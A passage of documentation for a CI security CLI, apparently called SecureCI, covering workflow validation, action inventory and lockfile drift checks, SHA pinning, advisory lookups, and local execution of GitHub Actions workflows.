  • json: { file, valid, errors: [{ path, message, severity, rule }] }, where rule is the same id SARIF uses (for example secureci/injection). Several files become { valid, files: [...] }.
  • sarif: a SARIF 2.1.0 log (rules secureci/validation, secureci/contract, secureci/expression, secureci/injection, secureci/permissions, secureci/dangerous-trigger, secureci/vulnerable-action). Upload it with github/codeql-action/upload-sarif to see findings inline on pull requests in GitHub code scanning.

Action inventory and drift (secureci inventory)

secureci inventory lists every action and reusable workflow a workflow uses — resolved recursively into local composite actions and reusable workflows, so wrapped references show up too — and resolves each remote action's tag or branch to the commit SHA it currently points at.

secureci inventory --dry-run                        # all workflows in .github/workflows, as JSON
secureci inventory .github/workflows/ci.yml --dry-run # one file, as JSON
secureci inventory --dry-run --offline              # don't resolve over the network

Each entry carries uses, kind, owner, repo, ref, whether it's pinned to a full commit SHA, the resolvedSha, and the call paths where it appears. Tags and branches are resolved with git ls-remote (or the API when a token is available); --offline resolves only already-pinned refs.

Transitive dependencies. Remote composite actions and remote reusable workflows are downloaded at their resolved commit, and the actions they use are added too, up to 10 levels deep (CLI 0.5.0 or later). These entries carry via: the references that pull them in. Node and Docker actions have no uses: to follow. Downloads use the action cache. With --offline, only already-cached actions are followed. If one can't be downloaded, a warning names it and the actions it uses are left out.

Progress. Online runs print a notice and then progress to stderr, in four phases: resolving tags, reading actions for the actions they use, checking repositories, and checking security advisories. In a terminal each phase updates one line in place (Reading actions [3/12] org/action@v2); in CI logs it prints one line per item. Stdout stays clean, so --dry-run JSON can be piped. --offline reads only the cache and shows no progress.

Repository identity. When the GitHub API answers, each entry also gets ownerId and repoId, GitHub's numeric ids for the repository and its owner. They survive a rename but not a delete-and-recreate.

Drift against secureci.lock

Highly recommended: commit secureci.lock to your repo (like package-lock.json) and run secureci inventory --check in CI. A moved tag — the way the tj-actions/changed-files incident spread — then becomes a failing check instead of a silent compromise.

secureci.lock records what each action reference resolves to today, so you can catch it moving later. It always lives at the repo root (no path to configure).

secureci inventory                 # bootstrap secureci.lock if missing, else drift-check
secureci inventory --update-lock   # (re)write secureci.lock (alias: --update-lockfile)
secureci inventory --check         # compare against secureci.lock, fail on drift (alias: --compare)
  • Bare secureci inventory writes secureci.lock the first time (when none exists), and drift-checks against it on later runs.
  • --check / --compare always compares and fails (non-zero) when a uses: reference now resolves to a different commit than recorded (a moved tag), a new action isn't in the lock yet, a locked repository's identity changed, or an action can't be verified (below). Use it in CI.
  • --update-lock / --update-lockfile accepts the current state by rewriting the lock. Review the diff, then commit it.

The lockfile is plain JSON, safe to commit and diff:

{
  "version": 2,
  "actions": {
    "my-org/build-action@v2": {
      "commit": "4f1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c",
      "owner_id": 1234567,
      "repo_id": 7654321
    },
    "my-org/setup-tool@v1": {
      "commit": "9e8d7c6b5a4f3e2d1c0b9a8f7e6d5c4b3a2f1e0d",
      "owner_id": 1234567,
      "repo_id": 7654322,
      "via": ["my-org/build-action@v2"]
    }
  }
}
  • Transitive dependencies are locked too, with via showing what pulls each one in. A moved tag inside an action you use fails the check like one in your own workflow.
  • owner_id and repo_id are recorded when the GitHub API answers, and left out when it doesn't (offline, rate-limited). Anonymous API calls are limited to 60 an hour, so set GITHUB_TOKEN for large repositories.
  • A changed identity fails --check. If a locked name now points at a repository with a different repo_id (deleted and re-created, the pattern behind repo-jacking) or a different owner_id (transferred, or the account re-registered), the check fails even when the commit matches. Identity is checked only where the lock records it, and not with --offline.
  • An action that can't be verified fails --check. If a tag no longer resolves, or a SHA-pinned action's repository can no longer be read (deleted, renamed or made private), the check fails and names it, with the locked commit (CLI 0.5.1 or later). A pinned commit resolves without the network, so SecureCI makes one lookup per pinned repository to confirm it still exists. A network outage fails the check the same way. With --offline, tags can't be resolved at all, so they are listed in a warning instead.
  • Version 1 locks still work. A lock written by 0.4.0 or earlier ({ "owner/repo@ref": "<sha>" }) is still checked; it has no identities, and transitive dependencies show up as new until you run --update-lock, which writes version 2.

GitHub's actions.lock

GitHub's workflow dependency lockfiles (public preview, GitHub.com only) live at .github/workflows/actions.lock and are maintained by gh actions-lock. SecureCI reads them too (CLI 0.3.0 or later):

  • secureci.lock comes first. If it exists, SecureCI checks against it and ignores actions.lock.
  • Otherwise, actions.lock is used. Bare secureci inventory and --check compare each action's commit against actions.lock instead of creating secureci.lock. A moved ref or an action missing from the file fails, with a hint to run gh actions-lock.
  • --update-lock always writes secureci.lock. Use it to switch a repository to SecureCI's lockfile, for example on GitHub Enterprise Server, where actions.lock isn't available.

actions.lock lists transitive dependencies and each repository's owner_id and repo_id, so the transitive and identity checks apply to it too. Entries SecureCI doesn't find are never reported as unused, because gh actions-lock may record dependencies SecureCI doesn't follow. Lockfile versions v0.0.2 and v0.0.3 are supported; a newer format fails with a clear error until SecureCI supports it.

Pin actions to commit SHAs (secureci pin)

A tag like @v4 can be moved to different code at any time; a full commit SHA can't. secureci pin rewrites each tag or branch to the commit it points at now, and keeps the tag in a trailing comment so Dependabot and Renovate can still offer updates (CLI 0.6.0 or later):

- uses: actions/checkout@v4
# becomes
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4
secureci pin                                  # every file in .github/workflows, plus the local actions and reusable workflows they use
secureci pin .github/workflows/ci.yml         # just this file (local actions it uses aren't followed)
secureci pin --check                          # change nothing; fail if anything would change (for CI)
secureci pin --contract contracts/standard.yml # leave the contract's pins.allow owners/actions on their tags
secureci pin --offline                        # use only the action cache, no network
secureci pin --update-lock                    # then rewrite ./secureci.lock from the pinned workflows

Each change is printed as file:line owner/repo@v4 -> <sha12> (v4), followed by a count.

  • What is pinned: step uses: in workflows and in local composite actions, and reusable-workflow calls (jobs.<id>.uses: owner/repo/.github/workflows/x.yml@v1).
  • What is left alone: local (./) and docker:// references, references already pinned to a 40-character SHA, and, with --contract, the owners and actions its pins.allow lists. These are matched the way the contract check matches them (an owner, or the exact action name), so validate --contract passes afterwards.
  • Formatting is kept. Files are edited in place, never re-serialised: only the value (keeping its single or double quotes) and its trailing comment change. Blank lines, other comments, key order and - uses: list items stay as they are. Running pin again changes nothing.
  • Comments: with no comment, # v4 is added. An old version comment (# v3, # v3.2.1, # tag=v3) is replaced, keeping any words after it. Any other comment is kept after the tag (# v4 - needed for the audit). When several references share one line (a flow sequence), no comment is added.
  • Resolution is the same as inventory's: git ls-remote, or the GitHub API when a token is available (GITHUB_TOKEN, GH_TOKEN or gh auth token). Each distinct reference is looked up once. --offline uses only the commits recorded in the action cache by earlier run or inventory runs. For a branch (@main) that is the last commit seen, not necessarily the current one.
  • Unresolvable references (a deleted or private repository, a missing ref, or anything not cached with --offline) are reported with their file and line and left unchanged. pin still pins everything else and exits 0; pin --check exits non-zero. A reference with no @ref, or one written as a YAML block scalar, is reported the same way.
  • --check writes nothing and exits non-zero if any reference would be pinned or can't be resolved. Use it in CI to keep workflows pinned.
  • --update-lock runs inventory --update-lock after pinning, so secureci.lock records the new owner/repo@<sha> references. It can't be combined with --check.

Known security advisories

secureci inventory and secureci validate check the actions a workflow uses against the GitHub Advisory Database and report published vulnerabilities, such as GHSA-mrrh-fwg8-r2c3 in tj-actions/changed-files before 46.0.1 (CLI 0.6.0 or later).

[ERROR]   [ERROR] jobs.build.steps[3]: tj-actions/[email protected] has a known security advisory: GHSA-mrrh-fwg8-r2c3 (CVE-2025-30066, high): ... Affected versions: < 46.0.1; first patched version: 46.0.1. https://github.com/advisories/GHSA-mrrh-fwg8-r2c3
  • What is checked. inventory checks every action it lists, including transitive ones, at the commit each resolved to. validate checks the file's own uses: references, including those in local composite actions and local reusable workflows it calls. It doesn't download remote actions to look inside them.
  • How the version is found. A full release tag (v45.0.7) is compared as is. A SHA pin, or a moving tag such as v4, is mapped to the most specific release tag (x.y.z) at the same commit, using git ls-remote --tags. Tags are only listed for a repository that has advisories. The version is then compared with each advisory's affected range, such as < 46.0.1 or >= 1.0, < 2.3.4.
  • Moving tags that can't be mapped. If tags can't be listed (offline, or the repository can't be read anonymously), v4 is compared as 4.0.0, its lowest possible release. A match is reported as may be affected, always as a warning, never an error, because the release the tag points at isn't known. Pin a release tag or commit to check it exactly. An affected range that can't be read is reported the same way.
  • Unknown versions. A commit that isn't at any release tag, or a branch, has no version to compare. If its repository has advisories, an info line names them as an unknown version. It isn't counted as a finding.
  • Severity. In validate, findings use the rule secureci/vulnerable-action. Critical and high advisories are errors that fail validation. Medium, low and unrated ones are warnings. A contract can change the threshold with advisories: fail-on. inventory reports findings (errors and warnings in text, an advisories array in --dry-run JSON), but they don't change its exit code. Use validate to gate on them.
  • --dry-run JSON. Each entry in advisories has uses, ghsaId, cveId, severity, summary, url, the affected range, firstPatched, the version compared, approximate (the "may be affected" case) and path. advisoryUnknownVersions lists { uses, advisories } for references whose version couldn't be found.

Network, rate limits and caching. Each distinct owner/repo is one request to the REST API: GET /advisories?ecosystem=actions&affects=owner/repo on GITHUB_API_URL, or on GitHub Enterprise Server's API when GITHUB_SERVER_URL is set. Requests use GITHUB_TOKEN/GH_TOKEN or gh auth token when one is available. Advisories are public, so they work without a token, but anonymous requests are limited to 60 an hour. The GitHub Action passes its github-token. Responses are cached per repository under ~/.secureci/advisories/ for 24 hours. Only the first 100 advisories for a repository are read.

  • When the API can't answer (network down, rate-limited, or a GitHub Enterprise Server without the advisory database), a warning names the repositories that weren't checked. This doesn't fail the run. A cache older than 24 hours is used if there is one, with a warning.
  • --offline (on both commands) makes no advisory requests and lists no tags. It uses cached advisories at any age, and warns about repositories with nothing cached. For validate, --offline also reads a remote --contract and --contract-recurse all actions only from the action cache.

Use in CI (GitHub Action)

Run the same checks on pull requests with the bundled composite action. It validates your workflows (optionally against a contract) and, by default, uploads a SARIF report so findings show up inline on the PR via GitHub code scanning.

# .github/workflows/secureci.yml
name: SecureCI
on: [pull_request]
permissions:
  contents: read
jobs:
  secureci:
    runs-on: ubuntu-latest
    permissions:
      contents: read
      security-events: write # for the SARIF upload
    steps:
      - uses: actions/checkout@v4
      - uses: secure-ci/[email protected] # a release tag; see below
        with:
          # all inputs are optional
          contract: contracts/platform-standard.yml
          # files: .github/workflows/*.yml   # default: every file in .github/workflows
          # format: sarif                    # or json
          # upload-sarif: true               # set false to skip code-scanning upload
          # inventory: check                 # also fail when an action tag moved (needs a committed secureci.lock)

The job fails if any workflow is invalid or violates the contract. Inputs: files, contract, contract-recurse, format, output, upload-sarif, inventory (check to also run secureci inventory --check against secureci.lock, or GitHub's actions.lock when that is the only lockfile), version (which @secureci/cli to run), and github-token.

Reference the action by a release tag such as v0.7.0. There is no moving major tag (@v1, @v0), so a ref like that won't resolve. secureci init workflow fills in the tag matching your installed CLI. The action runs @secureci/cli from npm via npx; set the version input to pin which CLI release it runs (default latest).

Generate the workflow (secureci init workflow)

secureci init workflow writes the workflow above to .github/workflows/secureci.yml so you don't have to copy it by hand, with the action pinned to the release tag of the CLI you ran it with (secure-ci/cli@v<version>; check yours with secureci --version). (Bare secureci init just prints help and its subcommands.)

secureci init workflow                                   # SARIF upload on (default)
secureci init workflow --contract contracts/standard.yml # also check a pipeline contract
secureci init workflow --no-upload                        # keep contents: read only, no code-scanning upload
secureci init workflow --output .github/workflows/ci-security.yml

It refuses to overwrite an existing file unless you pass --force, and the file it writes passes secureci validate with no findings: contents: read at the top level, and security-events: write (for the upload) on the job.

Using output as audit evidence

Auditors and assessors increasingly treat the CI pipeline as part of the software supply chain. What SecureCI writes is plain text you can commit, diff and keep, which makes it usable as evidence that a control is in place:

ArtifactWhere it comes fromWhat it shows
Pipeline contract (e.g. contracts/standard.yml)You write it; commit itYour pipeline standard, written down and versioned
secureci.locksecureci inventoryAn inventory of every third-party action and the commit each tag resolved to
secureci.lock historygit log -p secureci.lockWhen each action was added or changed, and in which commit
SARIF / JSON reportsecureci validate --format sarif|jsonThe result of the contract check for a given commit
Required check on pull requestsThe GitHub Action with inventory: checkNon-conforming or drifted workflows cannot merge

To keep a report per run, turn on the action's drift check and upload the report as a build artifact:

- uses: secure-ci/[email protected] # writes secureci-results.sarif
  with:
    contract: contracts/standard.yml
    inventory: check # fail on drift against the committed secureci.lock
- uses: actions/upload-artifact@v4
  if: always()
  with:
    name: secureci-evidence
    path: secureci-results.sarif
    retention-days: 90 # match your audit retention policy

These artifacts support controls; they don't make you compliant on their own. Which controls they help with in PCI DSS, DORA, NIS2, the UK Software Security Code of Practice, ISO/IEC 27001 and SOC 2 is mapped, with what you still need beyond SecureCI, at secure-ci.dev/compliance.

Workflow features

Conditional execution (if:)

Jobs and steps support if: expressions, and ${{ }} works anywhere a value is expected (run:, env:, with:, outputs:). Supported:

  • Contexts:
    • github (including github.event)
    • env, inputs, secrets, matrix
    • steps (outputs, outcome, conclusion)
    • needs (outputs, result)
    • job.status
    • runner (os, arch, temp, tool_cache)
    • vars (set with --var KEY=VALUE)
    • strategy (job-index, job-total, fail-fast, max-parallel)
  • Syntax:
    • ., ['key'] and * access
    • 'string' (with '' escapes), number, true/false/null literals
    • ! < <= > >= == != && ||, with GitHub's loose typing. a || 'default' returns the value, not a boolean.
  • Functions:
    • contains, startsWith, endsWith
    • format, join
    • toJSON, fromJSON
    • hashFiles (globs relative to the workspace, ! excludes)
    • success(), failure(), always(), cancelled()

As on GitHub, an if: without a status function means success() && (...). After a step fails, later steps are skipped unless their if: uses always() or failure(). A job whose needs didn't all succeed is skipped unless its if: uses one of them.

Invalid if: expressions fail, as on GitHub, and never count as true:

  • Checked before anything runs (run, run --dry-run and validate): syntax errors, unknown functions (e.g. a typo like sucess()), wrong argument counts, and contexts not available where they're used. A job's if: can only use github, needs, vars and inputs (not matrix, steps or env), and composite action steps can't use secrets. The run stops with Invalid workflow file, listing each jobs.<id>.steps[N].if.
  • Errors while evaluating (e.g. fromJSON of invalid JSON) fail that step, or that job, with Error when evaluating 'if' for .... Dependents are skipped as for any failure. The same applies to pre-if and post-if.
steps:
  - id: build
    run: echo "status=ok" >> $GITHUB_OUTPUT
  - if: ${{ steps.build.outputs.status == 'ok' }}
    run: echo "Build succeeded"

Job dependencies (needs:)

Jobs declaring needs: are executed in dependency order (topological sort):

jobs:
  build:
    runs-on: ubuntu-latest
    steps: [...]
  test:
    needs: build
    runs-on: ubuntu-latest
    steps: [...]

Parallel jobs (--parallel)

Like on GitHub, jobs run concurrently: a job starts as soon as every job it needs: is done, and matrix combinations run side by side (CLI 0.6.0 or later).

FlagDescription
--parallel <n>Run up to n jobs at once, counting each matrix combination as a job. Default: the number of CPUs. 1 runs jobs one after another, in order
secureci run .github/workflows/ci.yml --parallel 4
secureci run .github/workflows/ci.yml --parallel 1   # sequential
secureci config set parallel 2                       # persist a default
  • if:, skipping and failure propagation are the same as when running sequentially: a job whose dependency failed, was skipped or was cancelled is skipped unless its if: uses a status function such as always().
  • strategy.max-parallel limits a matrix's combinations running at once, within the --parallel limit. The jobs of a called reusable workflow share the same limit.
  • strategy.fail-fast (default true): when a combination fails, the combinations of the same matrix that are still waiting don't start and those running are cancelled: the running step is killed, the job's containers and services are removed, and the remaining steps (and post: steps) don't run. A cancelled job is reported as cancelled ("cancelled": true in its result), and needs.<id>.result is failure for the matrix job. A failure allowed by job-level continue-on-error doesn't cancel anything.
  • Each job gets its own container, service network, $RUNNER_TEMP, step files and container env file. Artifacts and caches are shared by the run as on GitHub, and saving the same cache key from two jobs at once is safe (the first save wins). Remote actions needed by several jobs are downloaded once.
  • Jobs share the working copy: every job's container mounts the current directory (as does every job on the host). Jobs that write the same files at the same time, such as two matrix combinations both running npm ci, can interfere; run those with --parallel 1.
  • Logs: when more than one job can run at a time, every line is prefixed with its job's label, e.g. [build (node: 20)] [INFO] Running: npm test (a called workflow's jobs as [call / build]). Each job still logs its own step results and its Job summary (<label>). With --parallel 1, or a single job, output has no prefixes and is the same as before.
  • The run's results list jobs in workflow order, whichever finished first.
  • On the host, a cancelled step's processes are killed with the step's shell; a JavaScript or Docker action that is running when its job is cancelled finishes first.

Service containers (jobs.<id>.services)

Sidecar containers such as databases and caches start before the job's steps and are removed when the job ends (also on failure or Ctrl-C):

  • Container mode: the job gets its own network. Each service joins it under its service id, so steps reach it by hostname (postgres:5432), as on GitHub.
  • Host mode (--container-runtime host): services still run in containers (a container runtime is required). Steps reach them through their published ports on localhost.
  • image, env, ports, volumes and options (e.g. --health-cmd ...) are supported. Steps start once every service with a health check reports healthy; an unhealthy service fails the job. credentials are ignored (log in with docker login).
  • ${{ job.services.<id>.ports['5432'] }} is the host port a container port is published on; job.services.<id>.id and .network are also set.

Artifacts and caching

(actions/upload-artifact, download-artifact, cache)

These actions normally talk to GitHub's artifact and cache services, so the CLI runs local equivalents with the same inputs, outputs and path rules. Nothing is downloaded or sent anywhere:

  • actions/upload-artifact stores files in ~/.secureci/artifacts/<run-id>/<name>/, which is kept for 7 days. Path rules are the action's own: multi-line paths, globs, ! exclusions, structure relative to the paths' common ancestor, and hidden files skipped unless include-hidden-files: true. if-no-files-found and overwrite (default false) are honoured. Outputs: artifact-id, artifact-digest.
  • actions/download-artifact retrieves artifacts uploaded earlier in the same run (github.run_id is shared by all jobs and called workflows): name goes into path; without it, every artifact (or those matching pattern) goes into path/<name>, or straight into path with merge-multiple: true. Output: download-path.
  • actions/cache restores the cache for key from ~/.secureci/step-cache/<owner_repo>/, else the newest match for each restore-keys prefix, and saves it at the end of a successful job when there was no exact hit. Entries are immutable and versioned by path, as on GitHub. Outputs: cache-hit (true for an exact match, false for a restore-keys match, empty on a miss), cache-primary-key, cache-matched-key. lookup-only and fail-on-cache-miss are supported, as are actions/cache/restore and actions/cache/save.
  • In container mode, workspace paths are read and written directly. Other paths, such as ~/.npm inside the job container, are copied in and out of the container.

Matrix builds (strategy.matrix)

A job runs once per matrix combination (in parallel, see Parallel jobs), with matrix.* and strategy.* in its context and the combination in its name, e.g. test (node: 20, os: linux):

  • Combinations are expanded as on GitHub: the product of the axes, minus exclude matches (on all of an entry's keys), then include entries merged into every combination whose original values they don't change, or added as new combinations.
  • The matrix, or any axis, can be an expression, e.g. matrix: ${{ fromJSON(needs.setup.outputs.matrix) }}.
  • fail-fast (default true) cancels the running combinations and skips those not yet started after a failure. Job-level continue-on-error (e.g. ${{ matrix.experimental }}) lets a combination fail without failing the job, its dependents or the run, and without cancelling the others.
  • max-parallel limits how many combinations run at once (also capped by --parallel). Outputs of a matrix job (needs.<id>.outputs) are merged in combination order, so the last combination's value wins, whichever finished last.
  • run --dry-run lists each matrix job's combinations (or notes that the matrix is only known at run time), and, like run, shows only the --job job when one is given.

Running a subset of combinations (--matrix)

secureci run .github/workflows/test.yml --job test --matrix node:20 --matrix os:ubuntu-latest
secureci run .github/workflows/test.yml --matrix node:18 --matrix node:20 --dry-run

--matrix key:value (repeatable) runs only the combinations that match, for both run and run --dry-run (CLI 0.6.0 or later):

  • Combinations are filtered after include/exclude expansion, so an excluded combination can't be selected, while combinations added by include (and keys merged in by it) can.
  • The argument is split on the first colon, so values may contain colons: --matrix image:node:20-alpine.
  • Values compare as text, as they appear in the job name: --matrix node:20 matches 20 and "20", --matrix experimental:true matches the boolean true, and object values compare as compact JSON (--matrix 'cfg:{"arch":"arm64"}'). Note that YAML reads 3.10 as the number 3.1, as on GitHub; quote it in the workflow to keep 3.10.
  • Different keys must all match; repeating a key accepts any of its values (--matrix node:18 --matrix node:20).
  • A key applies only to jobs whose matrix defines it; jobs without a matrix, or whose matrix doesn't have that key, run as usual. A key that no matrix job defines is ignored with a warning (in --dry-run, only when every matrix is known before running).
  • The selected combinations keep their full names and strategy.job-index / strategy.job-total from the whole matrix, so they behave as they would on GitHub.
  • When no combination of a job matches, SecureCI warns, lists the available combinations, and skips the job (and the jobs that need it). The run then exits non-zero, so a typo in a CI script doesn't pass silently.
  • Matrices from expressions (e.g. ${{ fromJSON(needs.setup.outputs.matrix) }}) are filtered once they're resolved during the run; --dry-run shows them as resolved at run time and doesn't filter them.
  • The filter applies to the workflow's own jobs (including a job that calls a reusable workflow with a matrix), not to the jobs inside a called workflow.

Reusable workflows (jobs.<id>.uses:)

A job that calls a reusable workflow runs the called workflow's jobs (in their own needs: order) as part of the run:

  • uses: ./.github/workflows/x.yml resolves against the repository root, like on GitHub; uses: owner/repo/.github/workflows/x.yml@ref is downloaded and cached like a remote action (see Remote Action Support).
  • with: and secrets: are evaluated in the calling job's context (inputs, needs, vars, ...); inputs fall back to their on.workflow_call.inputs defaults. The called workflow only sees the secrets passed to it (plus GITHUB_TOKEN), or all of them with secrets: inherit.
  • on.workflow_call.outputs (e.g. value: ${{ jobs.build.outputs.version }}) become the calling job's outputs, available as needs.<id>.outputs.*.
  • A workflow that can't be found or fetched fails the calling job.
  • strategy.matrix on a calling job runs the workflow once per combination (matrix.* is available in with:); needs.<id>.outputs holds the last combination's outputs, as on GitHub.

Shells and defaults.run

run: scripts are written to a file and run the way GitHub's runner does. With no shell:, that's bash --noprofile --norc -eo pipefail {0}, or sh -e {0} when bash isn't installed, so a step fails at its first failing command, including inside a pipeline. shell: bash|sh|python|pwsh|powershell|cmd map to GitHub's templates. Custom templates such as shell: perl {0} work too. defaults.run.shell and defaults.run.working-directory apply at workflow and job level; step-level values win, and they don't apply inside composite actions.

Step outputs

Steps can write to $GITHUB_OUTPUT to expose values to later steps via ${{ steps.<id>.outputs.<name> }}.

File commands and workflow commands

Every step (run:, JavaScript and Docker actions) gets its own $GITHUB_OUTPUT, $GITHUB_ENV, $GITHUB_PATH, $GITHUB_STATE and $GITHUB_STEP_SUMMARY files. Values written to $GITHUB_ENV and directories written to $GITHUB_PATH are available to all later steps in the job ($GITHUB_ENV values also appear in ${{ env.* }}). What steps write to $GITHUB_STEP_SUMMARY is printed at the end of the job.

Workflow commands printed to stdout are interpreted, in both the ::cmd:: and legacy ##[cmd] syntax: ::add-mask::, ::set-output, ::save-state, ::warning::, ::error::, ::notice::, ::debug::, ::group::/::endgroup:: and ::stop-commands::<token> (nothing is interpreted until ::<token>::). Problem matchers (::add-matcher::, ::remove-matcher::) and ::echo:: are hidden.

Composite actions don't get the secrets context, as on GitHub: pass secrets to them as inputs.

Events and the github context

secureci run .github/workflows/ci.yml --event-name pull_request --event-path event.json
  • github.event_name: --event-name, else $GITHUB_EVENT_NAME, else workflow_dispatch if the workflow declares it, else the workflow's first trigger.
  • github.event: the JSON object from --event-path, also written to $GITHUB_EVENT_PATH. Without it, workflow_dispatch gets { "inputs": {...} } like on GitHub, and other events get {}.
  • github.repository / repository_owner: $GITHUB_REPOSITORY, else the payload's repository, else parsed from the git origin remote, else the folder name. github.sha / ref come from $GITHUB_SHA / $GITHUB_REF, the payload's ref, or local git.
  • inputs.*: --input values over the defaults declared under on.workflow_dispatch.inputs / on.workflow_call.inputs.

Default environment variables

Steps receive the runner's default variables, derived from the local github context: CI, GITHUB_ACTIONS, GITHUB_WORKFLOW, GITHUB_JOB, GITHUB_SHA, GITHUB_REF, GITHUB_REF_NAME, GITHUB_EVENT_NAME, GITHUB_ACTOR, GITHUB_REPOSITORY, GITHUB_REPOSITORY_OWNER, GITHUB_RUN_ID, GITHUB_RUN_NUMBER, GITHUB_RUN_ATTEMPT, GITHUB_WORKSPACE, GITHUB_EVENT_PATH (see above), RUNNER_OS, RUNNER_TEMP and RUNNER_TOOL_CACHE (~/.secureci/toolcache).

Secret masking

Any value passed via --secret or read from a --secret-file, or registered by a step via ::add-mask::, is automatically masked (***) wherever it appears in log output.

In container mode, env values (secrets included) never appear in the container client's command line: they're passed in a private env file (mode 0600, deleted as soon as the client exits), or, for values an env file can't carry verbatim (multi-line, quote-leading or whitespace-padded), by name with the value in the client's environment. Prefer --secret NAME over --secret NAME=value so the value isn't in the secureci command line either.

Remote action support

SecureCI supports fetching and executing remote GitHub Actions:

  • Composite Actions: Full support for composite actions with multiple steps.
  • JavaScript Actions (node12, node16, node20, node22+): Runs main with the CLI's own Node.js binary (with the standalone binary, the first node on the step's PATH, including one added by actions/setup-node; if there is none the step fails with "JavaScript actions need Node.js on PATH when using the standalone binary"), in the workspace, with INPUT_* (from with: or the input's default), GITHUB_ACTION_PATH and the file commands above. pre: of remote actions runs at job start, before any step, gated by pre-if (local actions, which usually come from the checkout, run it right before main); post: runs at the end of the job in reverse order, gated by post-if (default always()), with state from $GITHUB_STATE exposed as STATE_*.
  • Docker Actions (action type runs.using: docker): Builds the action's Dockerfile (or pulls a docker://... image) and runs it in its own container. Note: this is distinct from the job container that --container-runtime starts for run: steps and JavaScript actions.
  • Local Actions (uses: ./path/to/action): Resolved relative to the workspace (the current directory), using action.yml or action.yaml.
  • docker:// steps (uses: docker://alpine:3.20): Run the image directly, with with.args as its arguments and with.entrypoint as its entrypoint.
  • Unresolvable actions fail the step: A remote action that can't be fetched, a missing local action, or an unsupported runs.using fails the step (as on GitHub) instead of being skipped.
  • Action Caching: Downloaded repositories are cached in ~/.secureci/actions-cache/<owner>/<repo>/<commit-sha>. A tag or branch (@v4, @main) is resolved to its current commit on every run (git ls-remote, or the API with a token), so moving refs pick up new commits, and an unchanged commit is never downloaded twice. If a ref can't be resolved (offline, rate-limited), the last commit cached for it is used, with a warning. --offline uses only the cache. secureci cache path / secureci cache clear show and empty it.
  • Private actions: With a token, downloads go through the GitHub API, so actions in private and internal repositories work and rate limits are higher. The token is $GITHUB_TOKEN, else $GH_TOKEN, else gh auth token. It's only sent to GitHub (not to a host a download redirects to), never passed to actions, and masked in logs. If GitHub rejects it (e.g. expired), the run continues without it. GITHUB_SERVER_URL / GITHUB_API_URL point downloads at GitHub Enterprise Server.
# Execute a workflow that uses remote actions
secureci run .github/workflows/ci.yml

# The workflow can include:
# - uses: actions/checkout@v3
# - uses: actions/setup-node@v3
# - uses: owner/repo/action@v1

Try the SecureCI CLI

Free and open source (MIT). Needs Node.js 20+ (or a standalone binary) and, to run workflows, Docker, Podman or containerd.

npm install -g @secureci/cli
secureci validate .github/workflows/ci.yml
secureci run .github/workflows/ci.yml --dry-run

Running GitHub Actions across many repositories? Get early access to org-wide SecureCI →